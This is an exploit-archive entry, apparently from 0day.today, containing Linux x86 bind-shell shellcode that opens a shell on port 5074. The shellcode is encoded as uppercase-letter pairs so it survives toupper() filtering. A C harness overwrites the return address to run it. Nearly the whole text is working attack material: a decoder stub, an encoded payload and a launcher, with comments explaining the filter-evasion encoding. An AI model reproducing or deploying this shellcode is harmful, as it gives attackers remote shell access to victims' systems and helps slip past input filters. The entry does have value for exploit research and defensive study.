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linux/x86 portbind port 5074 toupper 226 bytes
[==============================================
linux/x86 portbind port 5074 toupper 226 bytes
==============================================
/*
* Bindshell puerto 5074 (TOUPPER EVASION)
* 226 bytes
* Bindshell original: Matias Sedalo (92 bytes)
*
* La binshell esta codificada usando 2 bytes para
* representar 1 byte original de la siguiente forma:
* byte original: 0xAB
* 0x41 + 0xA = 0x4B; 0x41 + 0xB = 0x4C
* byte codificado: [0x4B 0x4C]
*
* by Tora
*/
#include <stdio.h>
#include <ctype.h>
char shellcode[] =
/* _start */
"\xeb\x02" /* jmp short A */
/* A */
"\xeb\x05" /* jmp short C */
/* B */
"\xe8\xf9\xff\xff\xff" /* call A */
/* C */
"\x5f" /* pop edi */
"\x81\xef\xdf\xff\xff\xff" /* sub edi, 0xffffffdf */
"\x57" /* push edi */
"\x5e" /* pop esi */
"\x29\xc9" /* sub ecx, ecx */
"\x80\xc1\xb8" /* add cl, 0xb8 */
/* bucle */
"\x8a\x07" /* mov al, byte [edi] */
"\x2c\x41" /* sub al, 0x41 */
"\xc0\xe0\x04" /* shl al, 4 */
"\x47" /* inc edi */
"\x02\x07" /* add al, byte [edi] */
"\x2c\x41" /* sub al, 0x41 */
"\x88\x06" /* mov byte [esi], al */
"\x46" /* inc esi */
"\x47" /* inc edi */
"\x49" /* dec ecx */
"\xe2\xed" /* loop bucle */
/* Shellcode codificada de 184 (0xb8) bytes */
"DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB"
"AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA"
"JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO"
"BLAALMNIA";
int main(void)
{
int *ret;
char *t;
for (t = shellcode; *t; t++)
if (islower(*t))
*t = toupper(*t);
ret=(int *)&ret +3;
printf("Shellcode lenght=%d\n",strlen(shellcode));
(*ret) = (int)shellcode;
}
# 0day.today [2024-11-16] #